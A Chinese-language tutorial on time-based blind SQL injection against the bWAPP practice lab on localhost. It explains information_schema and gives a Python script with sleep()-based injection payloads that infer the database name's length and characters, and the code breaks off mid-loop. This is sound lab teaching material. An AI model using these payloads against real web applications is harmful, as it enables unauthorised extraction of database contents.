基于时间盲注的SQL注入

基于时间盲注的SQL注入(靶场)

使用python
SQL注入

SQL注入是一种代码注入技术,攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。当用户的输入在发送到后端数据库服务器之前未在web应用程序中正确检查时,就会出现此漏洞。许多web应用程序从用户处获取输入,然后使用这些输入构造SQL查询,这样web应用程序就可以从数据库中获取信息。Web应用程序还使用SQL查询在数据库中存储信息。这些是web应用程序开发中的常见做法。如果未仔细构造SQL查询,则可能会出现SQL注入漏洞。SQL注入攻击是对web应用程序最常见的攻击之一。
盲注意味着没有回显,就是不会在当时把你输入的对错显示出来,这就要靠我们的时间响应来判断

基本库简介

Information_schema,信息数据库,其中保存有关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型,访问权限等。SCHEMATA表:提供当前MySql实例中所有的数据库信息。
mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的column_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。

使用bwapp靶场
基于时间盲注的SQL注入_第1张图片

#http://localhost/bWAPP/app/sqli_15.php?title=aaa&action=search
#http://localhost/bWAPP/app/sqli_15.php 输入数据aaa后比较两个url的区别!发现title=aaa,通过这个来编写SQL语句

获取靶场的url与cookie

import requests
import time

# 按 Shift+F10 执行或将其替换为您的代码。
# 按 双击 Shift 在所有地方搜索类、文件、工具窗口、操作和设置。
#Iron Man 'and length(database())=5 and sleep(1)#一般要把sleep放在后面
BASE_url='http://localhost/bWAPP/app/sqli_15.php?'
headel={
   "Cookie": "security_level=0; PHPSESSID=u3cmtm6usihr74v4t4e7ppitv2"}

获取数据库

def get_database_name_length():
    count=0
    for i in range(100):
        url=BASE_url+"title=Iron Man'and length(database())={} and sleep(2) -- &action=search".format(i)
        start_time=time.time()
        r=requests.get(url,headers=headel)
        if time.time()-start_time > 1:
            print('长度为{}'.format(i))
            count=i
    return count

def get_database_name(count):#传入数据库的长度
    #33-127
    for i in range(count+1):
        for j in range

你可能感兴趣的:(笔记,sql,数据库,mysql)